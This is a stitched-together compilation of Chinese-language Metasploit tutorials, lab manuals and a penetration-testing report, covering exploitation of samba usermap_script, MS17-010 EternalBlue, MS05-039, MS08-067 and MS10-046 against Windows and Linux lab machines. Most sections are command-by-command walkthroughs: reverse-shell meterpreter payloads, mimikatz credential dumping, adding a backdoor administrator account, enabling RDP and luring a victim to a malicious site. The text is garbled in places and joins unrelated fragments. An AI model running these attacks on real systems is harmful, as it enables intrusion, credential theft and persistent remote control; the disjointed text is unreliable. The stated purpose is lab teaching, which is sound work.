Metasploit利用溢出漏洞远控Windows靶机操作指南剖析
Metasploit

Metasploit1、启动Metasploit声明:本次渗透测试的主机是我⾃⼰在⾃⼰的攻击主机上搭建的另⼀个操作系统,为了真实性设置了常见的IP地址,如有重合但绝对不是任何实体公司或者单位的IP地址。
所以不承担任何法律责任转载请注明出处使⽤命令msfconsole 启动的时候需要启动两次,不然Postgres SQL数据库⽆法加载成功,导致 Metasploit Services⽆法启动,或者使⽤msfgui启动界⾯形式的Metasploit,但是需要提前安装,另⼀个命令是 msfcli(command line-based) ,建议使⽤的时候直接采⽤传统的⽅式启⽤,这样其配置的数据库和服务才会启动2、使⽤namp扫描侦查的地址范围,将⽣成的报告导⼊到Metasploit中进⼀步做处理。
namp扫描的时间可能会很长。
3、扫描完之后将⽣成的数据导⼊到Metasploit中使⽤命令 db_import my.xml,或者使⽤⼀个主机同时导⼊nmap扫描的数据 db_nmap -n -A查询服务查询漏洞使⽤⼀个漏洞,查询这个漏洞需要的攻击载荷,根据攻击载荷我们提供需要的参数。
查询显⽰更多的有效载荷(因为⼀个漏洞可以运⾏多个载荷,所以可以替换不同的有效载荷)设置要载⼊的有效载荷⼀旦有效攻击载荷设置好之后再次查看⼀下确定设置的载荷是否成功设置输⼊exploit 执⾏漏洞利⽤现在把之前的测试漏洞命令总结⼀下:第⼀步: namp 扫描IP地址范围主机 namp -n -oX my.xml 172.168.189.0/24第⼆步:导⼊namp扫描的数据结果 db_import my.xml第三步:查看远程主机上运⾏的服务 service补充⼀点(这⾥可以查询单个IP的主机同时导⼊ namp的信息) db_namp -n -A 172.16.189.131第四步:查询服务是否存在可以利⽤的漏洞信息 search samba(服务名) type:exploit platform:unix第五步:利⽤漏洞 use exploit/mulit/samba/usermap_script第六步:查询需要加载的配置参数和载荷 show options第七步:查询需要漏洞的相对应的载荷 show payloads第⼋步:设置载荷 set payload cmd/unix/reverse(载荷信息)补充(有的攻击载荷需要⾃⼰的攻击主机的信息,需要⾃⼰添加)除此之外,我要说明⼀下这⾥被攻击的远程主机端⼝的设置;⼀般来说端⼝设置要避免远程端限制,443端⼝,443端⼝⼀般设置限制,该端⼝通常保留SSL流量,可以绕开端⼝部署的⼀些设置。
Metasploit渗透工具的应用

本文主要介绍Metasploit的GUI界面的简单使用以及命令行模式下的使用。
Metasploit是一款开源的安全漏洞检测工具。
由于Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。
Metasploit Framework (MSF)是2003 年以开放源代码方式发布、可自由获取的开发框架,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠的平台。
它集成了各平台上常见的溢出漏洞和流行的shellcode,并且不断更新,最新版本的MSF 包含了180多种当前流行的操作系统和应用软件的exploit,以及100多个shellcode。
作为安全工具,它在安全检测中起到不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供有力的保障。
Metasploit的安装文件可以到官方网站进行下载,目前的版本是3.1。
Metasploit 3的使用:(叶子使用windows系统上的Metasploit 3.0版本)安装完Metasploit程序后,如下图1所示,程序中包含Metasploit的相关文档、常用的一些小工具(Netcat、Putty、VNCViewer、WinVI)、CMD Shell、Metasploit 3的主程序、NASM Shell、上线升级程序、RUBY Shell 等内容。
下面我们开始使用Metasploit进行相关的渗透工作。
图11.安装完Metasploit程序,运行Metasploit 3,启动Web窗口界面,如下图2所示。
界面中会出现Exploits、Auxiliaries、Payloads、Console、Sessions、About等图标栏。
图22.点击Exploits图标,系统列出所有的Exploits。
图33.针对目的主机的信息查找相关漏洞利用程序,比如查找Windows 2000系统的相关漏洞利用程序,如下图4所示:图44.利用对主机扫描发现的漏洞信息,找到相关的漏洞利用程序,比如“Microsoft RPC DCOM Interface Overflow”的漏洞利用程序,如下图5所示。
计算机系统安全实验二-metasploit

计算机系统安全实验二-m e t a s p l o i t-标准化文件发布号:(9456-EUATWK-MWUB-WUNN-INNUL-DDQTY-KII计算机系统安全实验二:操作系统安全与metasploit渗透测试实验目的:学习计算机操作系统安全相关内容。
学习操作系统渗透相关内容学习metasploit渗透工具使用。
实验原理:Windows 操作系统安全结构网络渗透原理实验环境:软件: vmware 环境下,虚拟机, vm-WinXP镜像虚拟机,backtrack 4及backtrack 5 虚拟机镜像等。
实验拓扑:被渗透机:使用虚拟机XP,建议使用未安装更新的英文XP操作系统,,设置其IP地址为,自动获得,虚拟机网络连接方式 NAT方式。
实验室计算机network系统下中network_vm 目录中有metasploitable_XP,可使用之。
渗透测试机:使用Bt4或5作为操作系统,准备工作:启动两台虚拟机,按上图方式设置,请先记录下两台虚拟机的IP:被渗透机:操作系统:____windows xp with sp1_________IP地址:____________________渗透测试机:操作系统:___________bt5_______IP地址:___________________(注意,若网络连接未启用,请先启用之,linux 下可使用ifup eth0)实验内容:第一部分:针对操作系统内部服务端口进行渗透了解ms08-067漏洞详情:(请课后上网查询相关内容)漏洞描述:曾经的冲击波、震荡波等大规模攻击都是由于Windows的RPC服务漏洞造成的,MS08-067远程溢出漏洞也不例外。
MS08-067远程溢出漏洞的原因是由于Windows系统中RPC存在缺陷造成的,Windows系统的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞,远程攻击者可以通过发送恶意的RPC请求触发这个溢出,如果受影响的系统收到了特制伪造的RPC请求,可能允许远程执行代码,导致完全入侵用户系统,以SYSTEM权限执行任意指令并获取数据,并获取对该系统的控制权,造成系统失窃及系统崩溃等严重问题。
渗透神器Metasploit

渗透神器Metasploit⼀、Metasploit框架介绍Metasploit是⼀个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本⾝附带数千个已知软件漏洞的专业级漏洞攻击⼯具。
当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。
仿佛⼀夜之间,任何⼈都可以成为⿊客,每个⼈都可以使⽤攻击⼯具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
软件⼚商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队⼀直都在努⼒开发各种攻击⼯具,并将它们贡献给所有Metasploit⽤户。
我们能够通过它发现漏洞并进⾏快速实施攻击,当然需要在授权的情况下⼆、Metasploit模块介绍综合渗透测试框架MSF所⽤功能可分为这⼏个模块,每个模块都有各⾃的功能领域,形成了渗透测试的流程模块名模块名描述Auxiliary辅助模块为渗透测试信息搜集提供了⼤量的辅助模块⽀持Exploits攻击模块利⽤发现的安全漏洞或配置弱点对远程⽬标系统进⾏攻击,从⽽获得对远程⽬标系统访问权的代码组件Payload攻击载荷模块攻击成功后促使靶机运⾏的⼀段植⼊代码Post后渗透攻击模块收集更多信息或进⼀步访问被利⽤的⽬标系统Encoders编码模块将攻击载荷进⾏编码,来绕过防护软件拦截三、MSF-基础指令命令描述help/?帮助菜单exit退出MSF控制台Back返回上⼀级info显⽰⼀个或者多个模块的信息show显⽰所给类型的模块background将当前操作在后台运⾏use使⽤所选择的模块set设置选项unset取消设置的选项session会话use使⽤所选择的模块使⽤MSF前先打开数据库开启数据库:service postgresql start如果不开启数据库也可以,不过关于数据库的命令⽤不了初始化MSF数据库:msfdb init开启MSF:msfconsole查看数据连接状态:db_status常⽤模块讲解Auxiliary 模块: show auxiliaryRank表⽰好⽤级别:normal(正常),excellent(优秀),good(良好),average(平均)命名规则:功能/服务/名称 scanner/smb/smb_ms17_010Exploits 模块: show exploits命名规则:操作系统/服务/名称 windows/smb/ms17_010_eternalbluePayload 模块:show payloads命名规则:操作系统/类型/名称 windows/x64/meterpreter/reverse_tcpMSF搜索模块根据名称搜索 : search ms17_010MSF设置模块设置模块:use auxiliary/scanner/smb/smb_ms17_010查看选项:options四、MSF攻击流程Ping下需要攻击的⽬标地址 ping 192.168.2.168指定ping四次 ping 192.168.2.168 -c 4扫描⽬标地址端⼝有没有开启,永恒之蓝端⼝445,⽂件共享服务端⼝db_nmap 192.168.2.168 -p 445,-p指定445端⼝发现⽬标机器开启了445端⼝,查看hosts,发现⽬标地址已经存在这⾥了搜索下永恒之蓝模块名字search ms17_010使⽤辅助模块来扫描,看到了SMB REC,扫描下看有没有远程命令执⾏漏洞use auxiliary/scanner/smb/smb_ms17_010options,查看需要设置什么,⼀般都是设置yes需要设置⼀个路径,这个路径就是字典⽂件,MSF已经设置好了,所以不需要设置RHOSTS⽬标服务器地址,远程主机的地址,需要设置成⽬标地址⽬标端⼝SMB线程⽤户名和密码都是不需要设置的,因为MSF利⽤远程命令执⾏这个漏洞去攻击设置RHOSTS,最简单就是set rhosts 192.168.2.168也可以利⽤hosts扫描到的数据库⾥⾯有的,直接hosts -R也可以使⽤run或者exploit都是可以攻击的发现了绿⾊的[+],说明可能存在MS17-010 漏洞的,同时也看到这台⽬标服务器的相关资料,操作系统是windows server 2008 R2 64位的,MSF⾃带的只能攻击64位的接下来使⽤攻击模块search ms17发现有两个攻击模块可以使⽤,这⾥使⽤⼀个ms17_010_eternalblue直接use 8,进⼊到攻击模块设置payload,先查看show payloads反向连接tcp,因为不知道服务器有没有⽹使⽤meterpreterset payload windows/x64/meterpreter/reverse_tcpoptions 查看下还要设置什么需要设置本机ip地址和⽬标地址set lhost 192.168.2.250set rhosts 192.168.2.168设置好后现在就可以直接攻击了rungetuid查看下成功没拿到了SYSTEM的权限,NT是windowsshell看看,进⼊⽬标机器的CMD命令load mimikatz ,加载mimikatzkerberos,读取⽬标机器⽤户的凭证,明⽂密码background,把会话放在后台db_nmap 192.168.2.168 -p 3389,扫描下端⼝,看能不能远程登录端⼝没开启,使⽤post模块,通过修改注册表来开启⽬标端⼝search enable_rdp,rdp表⽰远程登录服务use 0options,看需要设置什么在system权限上,把⽬标的3389转发到本地的3389,再通过3389连接,可以新建账户密码,session就是我们刚刚保留的会话,通过这个会话开启服务器⽬标的端⼝和⽤户名和密码set password 1234.aset session 1set username abcrun,攻击下db_nmap 192.168.2.168 -p 3389,扫描下看开放没rdesktop 192.168.2.168,远程登录五、后渗透⼯具 - meterpreter查看⽤户权限: meterpreter> getuid获取hash密码: meterpreter> hashdump上传⽂件: meterpreter> upload执⾏⽂件: meterpreter> execute -f notepad.exe获取屏幕截图:meterpreter>screenshot获取shell:meterpreter>shell声明:请勿⽤作违法⽤途,请在授权情况下使⽤。
Metasploit使用教程

Metasploit使用教程Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。
安装完之后看下安装目录下的Msfconsole.bat 和msfweb.bat,第一个是命令下的控制台。
第二个是图形界面下的程序。
现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,如图1看到很多命令吧,我们来解释一下“?” 帮助“cd” :这个命令大家都熟悉,和WIN下面一样,切换目录“exit” 这个就是退出的意思“info”显示当前程序信息“quit”退出程序“reload”加载exploit和payloads“save”保存设置“setg”设置一个环境变量“show”显示当前可用的exploit“ use”选择一个exp“version”显示程序版本这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。
这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。
这就得用到info命令啦。
这个命令就是显示溢出程序的详细信息,比如我们想看下iis50_webdav_ntdll这个溢出程序的用法,就在命令行下输入info exploitiis50_webdav_ntdll,就会看到图3所示这里只是查看Exploit的信息,我们还可查看shellcode的信息。
在这个工具包中,可以定义自己需要的shellcode.在命令行下输入"show payloads"可以看到可用的shellcode列表,如图4左边是名字,右边是说明。
04NessusNexponseMetasploit使用介绍

、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的dir_scanner为例探测:
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的udp_sweep发送UDP数据包探查指定主机是否活跃
,并发现主机上的UDP服务。
Metasploit使用介绍
Metasploit使用介绍
MSF渗透攻击模块
渗透攻击exploits模块简单的讲就是针对不同的已知漏洞的利用程序。
当我们执行show exploits命令后,显示4列,分别为exploit名称、等 级(rank)、时间、描述。 exploit的命名规则:
- 操作系统/服务/模块名称,例如windows/vnc/realvnc_client
Metasploit使用介绍
MSF用户接口之msfconsole Linux Metasploitable靶机环境samba网络服务的usermap_script安全 漏洞利用示例: - msf> search samba
- msf> use multi/samba/usermap_script
件,为Metasploit开发者进行框架和模块开发提供了一些基础功能的支
持,如包装的网络套接字、网络应用协议客户端和服务端实现、日志子 系统、渗透攻击支持例程、PostgreSQL及MySQL数据库支持。
Metasploit使用教程Word版
工具包分Linux/Unix版的和Windows版,考虑到大多数人都是使用的Windows系统,这里我把Windows版的Metasploit使用方法说明一下,至于Linux/Unix下的使用方法和Wind ows下的也是大同小异,这里就不额外的说明了。
下载回Metasploit的安装程序之后双击安装,傻瓜化的安装过程,这里就不多说了。
安装完成后可以看到安装目录下多了很多文件,主要的是:Msfconsole.bat和Msfweb.bat。
第一个是这个工具包的控制台,第二个是这个程序的图形界面下的程序,下面我将和大家一起来领略它们的魅力!。
命令行下使用Metasploit运行后首先看到的是Metasploit欢迎界面,我们输入“?”得到在线帮助(如图1所示):可以看到里面有很多的命令,下面我将最重要的几个做简单解释:“?”:得到帮助。
“cd”:更换当前的工作目录。
“exit”:退出。
“help”:得到帮助。
“info”:显示当前程序的信息。
“quit”:推出程序。
“reload”:载入Exploit和payloads。
“save”:保存当前设置“setg”:设置一个环境变量。
“show”:显示可用的Exploit和payloads。
“use”:使用一个Exploit。
“version”:显示程序的版本。
虽然有这么多的命令可是常用的也就是“show”、“info”和“use”而已,它们究竟怎么使用呢?此程序集成了众多的Exploit,所以我们要先了解一下程序中到底有那些溢出工具包,输入“sh ow Exploits”看有哪些可用的Exploit程序先(如图2所示):左面显示的是溢出程序的程序名称,右面是相应的简介。
可以看到Metasploit中带的溢出程序包还是很多的,完全可以满足我们日常入侵的需要,以后我们就再也不用到存放溢出程序的文件夹中去找半天对应的程序了!知道了有什么溢出程序,但是怎么使用呢?一般情况下,当我们拿到一个溢出程序后要先阅读溢出程序的帮助文件来查看使用方法,在Metasploit中怎样查看我们需要的溢出程序的使用方法呢?这就用到了Info命令。
Metasploit 使用方法
Metasploit 使用方法. 一准备工作1 安装framework-3.0.exe2 在线升级注意:1 软件安装在系统盘2 在线升级如图,网络最好用DDN二 拓扑图Port 2 ipUTM 400攻击者攻击对象三 测试条件1 防火墙①UTM 400软件版本,IPS 版本如图:②启用IPS 功能,动作PASS 。
diagnose ips global signature status enablediagnose ips global signature actions pass③按照拓扑图,配置防火墙网口IP④添加保护内容表,选择所有和IPS有关的选项,并选择日志。
⑤添加两条策略,port2<——>port3,并选择刚才添加的保护内容表⑥设置日志,级别选择“调试”2 攻击者安装framework-3.0.exe软件3 攻击对象安装攻击脚本对应的服务,例如,进行DNS攻击,攻击对象要开启DNS服务。
四测试方法命令行方式1 选择运行软件,如图:2 出现如下图界面,注意不要关闭Metasploit运行的终端程序,否则攻击服务就会停止。
3 选择Console ,如图:4 show exploits (显示所有攻击脚本)6 use windows/smb/ms05_039_pnp7 show options (显示选项)8 set RHOST 3.3.3.200 (设置被攻击主机的IP)9 set target 0(设置目标主机的操作系统)10 set payload windows/exec (选择加载的程序)11 set CMD net user hacker 123 /add & net localgroup administrators hacker /add(加载执行的命令)12 show options(查看所有的命令是否加载上)13 exploit(攻击)图形界面方式1 选择运行软件,如图:2 出现如下图界面,注意不要关闭Metasploit运行的终端程序,否则攻击服务就会停止。
实验系统漏洞攻击分析
实验报告课程名称:计算机病毒与防治实验名称:系统漏洞攻击分析组号:班级:成员一、实验目的1、Metasploit的基本使用2、认识Windows服务器高危漏洞ms17-0103、使用Metasploit漏洞利用模块攻击windows服务器二、实验要求Windows系统、vmware15.0、KALIlinux、Server 2008 R2三、实验内容靶机:Windows server 2008R2 (IP:192.168.20.40)攻击机:Kali (IP:192.168.6.50)工具:nmap(这里主要用于漏洞扫描)、metasploit(msf)Metasploit,简称msf,是一个几个信息收集,漏洞验证、漏洞利用后渗透模块的渗透测试框架。
1、进入msf输入msfconsole2、使用msf模块使用模块:use 模块名查看选项:option设置选项:set 选项值发起攻击:run 或者exploit三、实验步骤1、Windows服务器高危漏洞ms17-010基本情况介绍:(自己核查后,整理输入到此处)提到操作系统漏洞,大家肯定听说过耳熟能详的永恒之蓝(MS17-010)了,他的爆发源于WannaCry勒索病毒的诞生。
该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞“EternalBlue”(永恒之蓝)进行传播。
勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。
最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
勒索病毒是自熊猫烧香以来影响力最大的病毒之一。
本文将利用Metasploit工具来对此漏洞进行一次漏洞利用示范以及提出修复建议2、用nmap的漏洞扫描模式,扫描靶机看靶机上是否有ms17-010漏洞命令:nmap --script=vuln 192.168.20.40注:进入msf 输入Msfconsole3、使用msf模块1)使用msf搜索ms17-010漏洞(操作结果截图)2)使用辅助模块,检查漏洞是否存在使用模块:use auxiliary/scanner/smb/smb_ms17_010 (操作截图)设置选项:set RHOSTS 192.168.6.110(操作截图)4、使用攻击模块使用模块:use exploit/windows/smb/ms17_010_psexec (操作截图)查看选项:options设置选项:set RHOSTS 192.168.6.110(操作截图)发起攻击:run 或者 exploit注:运行成功会出现meterpreter >Meterpreter 是Metasploit 的一个扩展模块,可以调用Metasploit 的一些功能,对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。
Metasploit工具的使用
Metasploit⼯具的使⽤如果有代理在前⾯加proxychainsmsfconsole 进⼊MSF终端search xxx xxx为要搜索的模块use xxxx 选择要⽤的攻击模块show options 查看相关设置set LHOST 本机IPset RHOST ⽬标IPset 。
配置exoloit/run 执⾏exploit⼀共有三个exploit/windows/smb/ms17_010_eternalblue,exploit/windows/smb/ms17_010_eternalblue_win8,exploit/windows/smb/ms17_010_psexec 由于靶机的系统是xp,只有第三exploit成功。
auxiliary⽬录下的,属于辅助验证程序。
是exploit⽬录下的才是重点。
Core Commands 核⼼命令================Command Description------- -----------Help menu 帮助菜单background Backgrounds the current session 将当前会话抛到后台bgkill Kills a background meterpreter script 杀死⼀个背景 meterpreter 脚本bglist Lists running background scripts 提供所有正在运⾏的后台脚本的列表bgrun Executes a meterpreter script as a background thread 作为⼀个后台线程运⾏脚本channel Displays information or control active channels 显⽰动态频道的信息close Closes a channel 关闭⼀个频道disable_unicode_encoding Disables encoding of unicode stringsenable_unicode_encoding Enables encoding of unicode stringsexit Terminate the meterpreter session 终⽌ meterpreter 会话get_timeouts Get the current session timeout valueshelp Help menu 帮助菜单info Displays information about a Post moduleirb Drop into irb scripting mode 进⼊ Ruby 脚本模式load Load one or more meterpreter extensionsmachine_id Get the MSF ID of the machine attached to the sessionmigrate Migrate the server to another process 移动meterpreter到⼀个指定的 PID 的活动进程quit Terminate the meterpreter session 终⽌ meterpreter 会话read Reads data from a channel 从通道读取数据resource Run the commands stored in a filerun Executes a meterpreter script or Post module 从频道读数据sessions Quickly switch to another sessionset_timeouts Set the current session timeout valuessleep Force Meterpreter to go quiet, then re-establish session.transport Change the current transport mechanismuse Deprecated alias for 'load' 加载⼀个或多个meterpreter 的扩展uuid Get the UUID for the current sessionwrite Writes data to a channel 将数据写⼊到⼀个频道Stdapi: File system Commands ⽂件系统命令=====================================Command Description------- -----------cat Read the contents of a file to the screen 读取并输出到标准输出⽂件的内容cd Change directory 对受害⼈更改⽬录checksum Retrieve the checksum of a filecp Copy source to destinationdir List files (alias for ls)download Download a file or directory 从受害者系统⽂件下载edit Edit a file ⽤ vim编辑⽂件getlwd Print local working directory 打印本地⽬录getwd Print working directory 打印⼯作⽬录lcd Change local working directory 更改本地⽬录lpwd Print local working directory 打印本地⽬录ls List files 列出在当前⽬录中的⽂件列表mkdir Make directory 在受害者系统上的创建⽬录mv Move source to destinationpwd Print working directory 输出⼯作⽬录rm Delete the specified file 删除⽂件rmdir Remove directory 受害者系统上删除⽬录search Search for filesshow_mount List all mount points/logical drivesupload Upload a file or directory 从攻击者的系统往受害者系统上传⽂件Stdapi: Networking Commands ⽹络命令=====================================Command Description------- -----------arp Display the host ARP cachegetproxy Display the current proxy configurationifconfig Display interfacesipconfig Display interfaces 显⽰⽹络接⼝的关键信息,包括 IP 地址、等。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
1 网络测试环境构建
首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali
Linux系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图
3所示的运行Windows 7系统的计算机。显然这三台计算机处于同一个网段中,
可以相互通讯,Kali系统用作攻击机,下面将在此系统上运行Metasploit进行
渗透测试,而Windows 2003和Windows 7系统都是本次任务中需要进行渗透入
侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 Kali攻击机
图2 Windows 2003靶机
图3 Windows 7 靶机
2 扫描靶机
在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系
统类型、开放的端口服务、可能存在的安全漏洞等。
如图4所示,在Kali攻击机上执行Msfconsole命令,即可进入Metasploit
环境,如图5所示。
图3-4 msfconsole命令
图5 进入msf环境
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如
图6和7所示,获取了靶机的开放服务和操作系统类型等信息。
图6 Windows 2003扫描结果
图7 Windows 7扫描结果
利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如
图8所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2003靶机存
在MS08_067漏洞。
图8 漏洞扫描结果
3 利用MS08_067漏洞渗透入侵
MS08_067是一个曾经在各种Windows操作系统中广泛存在,而且危害特别
严重的缓冲器溢出类型的漏洞,利用它可以在无需知道任何账户密码,也不需要
受害者配合的情况下,通过网络直接远程控制受害的计算机。
为实现Metasploit在Windows操作系统的渗透测试,Metasploit目前提供
了三种用户使用接口,一个是GUI模式,另一个是console模式,第三个是CLI
(命令行)模式。目前这三种模式各有优缺点,本文仅使用MSF console模式。
因为在console中可以使用MSF 所提供的所有功能,还可以在console中执行
一些其他的外部命令,如ping。
既然已经知道Windows 2003靶机存在MS08_067漏洞,下面就在Metasploit
环境中利用它进行渗透入侵。
首先,通过使用“search”命令,搜索该漏洞对应的模块,并启用该渗透攻
击模块查看基本信息,然后,输入use exploit/Windows/smb/ms08_067_netapi
命令表示选择利用这个漏洞,如图9所示
。
图9 选择漏洞
然后用set命令选择一旦利用漏洞渗透进去使用什么攻击载荷,这里使用
MSF框架里功能强大的Meterpreter攻击模块下的反向连接shell载荷,如图10
所示。
图10 选择攻击载荷
用show options命令查看还有哪些参数需要配置,根据目标情况配置渗透
攻击的选项。如图11所示
图11 需要配置的参数
配置本地攻击机和远程靶机的IP地址,以及靶机系统的类型,如图12所示。
图12 配置参数
所有需要的参数配置好了以后,在进行exploit渗透攻击时,会出现一些状
况,有可能渗透不成功,需要在这时候谨慎。用exploit或run命令发动攻击,
如图13所示,渗透成功后,设置的回连主机就是Metasploit攻击主机,攻击主
机会获得一个meterpreter控制会话session。
图13 成功获取session
用了meterpreter的session后,即可用各种命令对远程靶机进行操作,如
图14、15所示,在目标靶机上新建了一个账号hacker和密码,并将其加入到管
理员组。为后续的远程控制提供方便。
图14 新建账号
图15 账号加入管理员组
为了更方便远程操作被成功渗透控制的靶机,还可以利用Meterpreter的强
大功能,打开目标的3389远程桌面端口,如图16所示。
图3-16 打开远程桌面服务
现在可以用远程桌面客户端去连接靶机的远程桌面服务,如图17所示,用
刚才新创建的账号和密码成功登录到系统后,即可在图形界面下方便地操作远程
靶机,进行到这一步,我们可以对靶机进行一些信息的窃取,或是一些病毒和木
马的上传。如图18所示。
图17 通过远程桌面登录
图18 通过远程桌面操作
至此,Metasploit利用MS08_067漏洞渗透入侵远程Windows 2003靶机的
任务全部完成了。
4 利用MS10_046漏洞渗透入侵
因为Windows 7系统靶机上不存在MS08_067漏洞,为了渗透这个目标,我
们重新用USE命令选择另一个安全漏洞MS10_046,如图19所示。
图19 漏洞选择
再用命令show option查看利用这个漏洞需要配置哪些参数,如图20所示。
图20 查看参数
用set 命令配置监听服务器为本地攻击机的IP地址,如图21所示。
图21 配置监听地址
然后继续配置漏洞利用成功后的攻击载荷还是Meterpreter,配置攻击载荷
所需的本地地址和远程地址,如图22所示
。
图22 攻击载荷配置
再次用show options命令检查参数配置正确后,exploit发动攻击,如图
23所示。
图23 开始攻击
MS10_046漏洞和MS08_067漏洞的利用方式不同,不是直接主动攻击目标获
得远程控制shell,而是在本地生成一个包含漏洞利用代码的恶意网站,期望受
害者访问这个恶意网站触发漏洞利用,如图24所示。
图24 生成恶意网站代码
现在可以诱使Windows 7靶机用浏览器去访问攻击机的恶意网站,如图25
所示,当然,也可以采用其他辅助手段将这个过程做得更隐蔽一点,例如用
ettercap发动DNS欺骗使受害者访问任何网站都自动连接到攻击机。这里为简
单起见就直接访问。
图25 靶机访问恶意网站
回到攻击机的Metasploit界面,可以观察到受害靶机的漏洞已经被触发,
打开了一个远程Meterpreter会话,即靶机和攻击机直接已经建立了连接,如图
26所示。
图26 打开会话
如图27所示,现在类似上一个任务,已经可以对远程靶机进行控制操作,
渗透测试任务完成。
图27 远程控制